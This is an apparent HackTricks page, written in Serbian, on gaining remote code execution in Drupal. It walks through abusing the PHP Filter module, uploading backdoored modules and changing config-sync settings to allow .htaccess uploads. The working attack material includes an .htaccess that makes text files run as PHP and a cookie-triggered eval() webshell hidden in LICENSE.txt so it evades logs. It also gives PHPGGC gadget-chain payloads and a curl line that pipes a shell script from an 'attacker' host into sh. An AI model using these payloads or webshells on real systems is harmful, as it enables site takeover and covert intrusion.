Drupal RCE
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sa PHP Filter Module
Warning
U starijim verzijama Drupala (pre verzije 8) bilo je moguće prijaviti se kao admin i omogućiti
PHP filtermodule, koji “Allows embedded PHP code/snippets to be evaluated.” Ali od verzije 8 ovaj modul nije instaliran po defaultu.
- Idite na /modules/php i ako se vrati 403 greška onda je
PHP filterplugin instaliran i možete nastaviti - Ako nije, idite na
Modulesi označite poljePHP Filter, pa kliknite naSave configuration - Zatim, da biste ga iskoristili, kliknite na
Add content, zatim izaberiteBasic PageiliArticlei napišite PHP backdoor, zatim u Text formatu izaberitePHPcode i na kraju kliknitePreview - Da biste ga pokrenuli, jednostavno pristupite novokreiranom node-u:
curl http://drupal.local/node/3
Instalirajte PHP Filter modul
Warning
U trenutnim verzijama više nije moguće instalirati plugin-e samo putem web interfejsa nakon podrazumevane instalacije.
Od verzije 8 pa nadalje, the PHP Filter modul nije instaliran po defaultu. Da bismo iskoristili ovu funkcionalnost, morali bismo da instaliramo modul sami.
- Preuzmite najnoviju verziju modula sa Drupal veb-sajta.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Nakon preuzimanja idite na
Administration>Reports>Available updates. - Kliknite na
Browse, izaberite fajl iz direktorijuma u koji smo ga preuzeli, a zatim klikniteInstall. - Kada se modul instalira, možemo kliknuti na
Contenti napraviti novu osnovnu stranicu, slično kao u primeru za Drupal 7. Ponovo, obavezno izaberitePHP codeizText formatpadajućeg menija.
Backdoored Module
Warning
U trenutnim verzijama više nije moguće instalirati plugin-e samo putem web interfejsa nakon podrazumevane instalacije.
Bilo je moguće preuzeti modul, dodati backdoor u njega i instalirati ga. Na primer, preuzimanje Trurnstile modula u kompresovanom formatu, kreiranje nove PHP backdoor datoteke unutar njega i omogućavanje pristupa PHP fajlu pomoću .htaccess datoteke:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
A zatim idite na http://drupal.local/admin/modules/install da instalirate backdoored module i pristupite /modules/turnstile/back.php da biste ga izvršili.
Backdooring Drupal with Configuration synchronization
Post shared by Coiffeur0x90
Part 1 (activation of Media and Media Library)
U meniju Extend (/admin/modules) možete aktivirati elemente koji izgledaju kao već instalirani plugin-i. Po defaultu, plugin-i Media i Media Library ne izgledaju kao aktivirani, pa ih aktivirajmo.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Part 2 (leveraging feature Configuration synchronization)
Iskorišćićemo funkciju Configuration synchronization za izvoz (export) i uvoz (import) Drupal konfiguracionih unosa:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Počnimo tako što ćemo izmeniti prvi unos allow_insecure_uploads iz:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
U:
Datoteka: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Ispravka field.field.media.document.field_media_document.yml
Zatim izmenite drugi unos file_extensions iz:
Fajl: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
U:
Fajl: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Ne koristim to u ovom blogpostu, ali je navedeno da je moguće proizvoljno definisati unos
file_directoryi da je ranjivo na path traversal attack (tako da možemo ići naviše unutar Drupal filesystem tree).
 (1) (1) (1).png)
Deo 3 (iskorišćavanje funkcije Add Document)
Poslednji korak je najjednostavniji i podeljen je na dva podkoraka. Prvi je da otpremimo fajl u .htaccess formatu kako bismo iskoristili Apache direktive i omogućili da .txt fajlovi budu interpretirani od strane PHP engine-a. Drugi je da otpremimo .txt fajl koji sadrži naš payload.
Fajl: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Zašto je ovaj trik zanimljiv?
Zato što, kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem $_COOKIE, a u logovima Web servera to će se pojaviti kao legitimni GET request ka tekstualnom fajlu.
Zašto nazvati naš Webshell LICENSE.txt?
Jednostavno zato što, ako uzmemo sledeći fajl, na primer core/LICENSE.txt (koji je već prisutan u Drupal core), dobijamo fajl od 339 linija i veličine 17.6 KB, što je savršeno za dodavanje malog isečka PHP code negde u sredini (pošto je fajl dovoljno veliki).
 (1) (1) (1).png)
Fajl: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Deo 3.1 (otpremanje fajla .htaccess)
Prvo koristimo Dodaj dokument (/media/add/document) funkciju da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Deo 3.2 (otpremanje fajla LICENSE.txt)
Zatim ponovo koristimo Dodaj dokument (/media/add/document) funkciju da otpremimo Webshell sakriven u fajlu licence.
 (1).png)
 (1).png)
 (1).png)
Deo 4 (interakcija sa Webshell-om)
Poslednji deo se sastoji od interakcije sa Webshell-om.
Kao što je prikazano na sledećem screenshot-u, ako cookie koji naš Webshell očekuje nije definisan, dobijemo sledeći rezultat kada konsultujemo fajl putem web pregledača.
 (1).png)
Kada napadač postavi cookie, može da komunicira sa Webshell-om i izvršava bilo koje komande koje želi.
 (1).png)
I kao što se vidi u logovima, izgleda kao da je zatražen samo txt fajl.
 (1).png)
Hvala što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Dva advisoria objavljena 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) opisuju nove PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). Oni nisu direktno eksploatabilni ali pružaju napadačima spreman chain čim bilo koji contrib/module izvrši unserialize() nad korisničkim unosom.
Praktični tok eksploatacije:
- Pronađite unserialize sink (contrib modul ili prilagođeni kod). Pretražite kodnu bazu koristeći grep za
unserialize(iliDrupal\Component\Serialization\PhpSerialize::decode. Ciljajte endpoint-e koji prihvataju POST/JSON ili uvoz konfiguracija. - Generišite payload koristeći path klase koja odgovara gadget chain-u. Nakon SA-CORE-2024-008, public chain je dodat u common payload generatore. Primer sa PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Dostavite serijalizovani blob do sinka (npr. parametar koji se deserializuje). Za telo enkodirano kao form:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Pokrenite destrukciju (često automatski na kraju zahteva) i izvršite komandu.
Napomene za testiranje:
- Gadget radi samo na verzijama pre 10.2.11 / 10.3.9 / 7.102 (ispravljeno). Proverite verziju cilja putem
/core/lib/Drupal.phpiliCHANGELOG.txt. - DB drajveri trećih strana mogu zahtevati dodatno očvršćavanje; tražite implementacije koje su preskočile prozor za bezbednosna ažuriranja.
Nedavna contrib-module unsafe deserialization → RCE
Nekoliko contrib modula je sredilo nesigurne unserialize() puteve krajem 2024. Ako sajtu nedostaju ta ažuriranja, oni vam daju exploitable sink potreban za core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): podaci pod kontrolom administratora prosleđeni u
unserialize(), omogućavajući PHP Object Injection → RCE kada se poveže sa core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): slična nesigurna upotreba
unserialize()dostupna korisnicima saaccess administration pages.
Ideja za testiranje (za autentifikovane korisnike):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
Ako modul deserializuje otpremljene podatke, gadget chain dovodi do RCE. Kombinujte sa XSS/CSRF da biste ukrali admin cookies i ostvarili potpuni lanac napada.
Reference
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


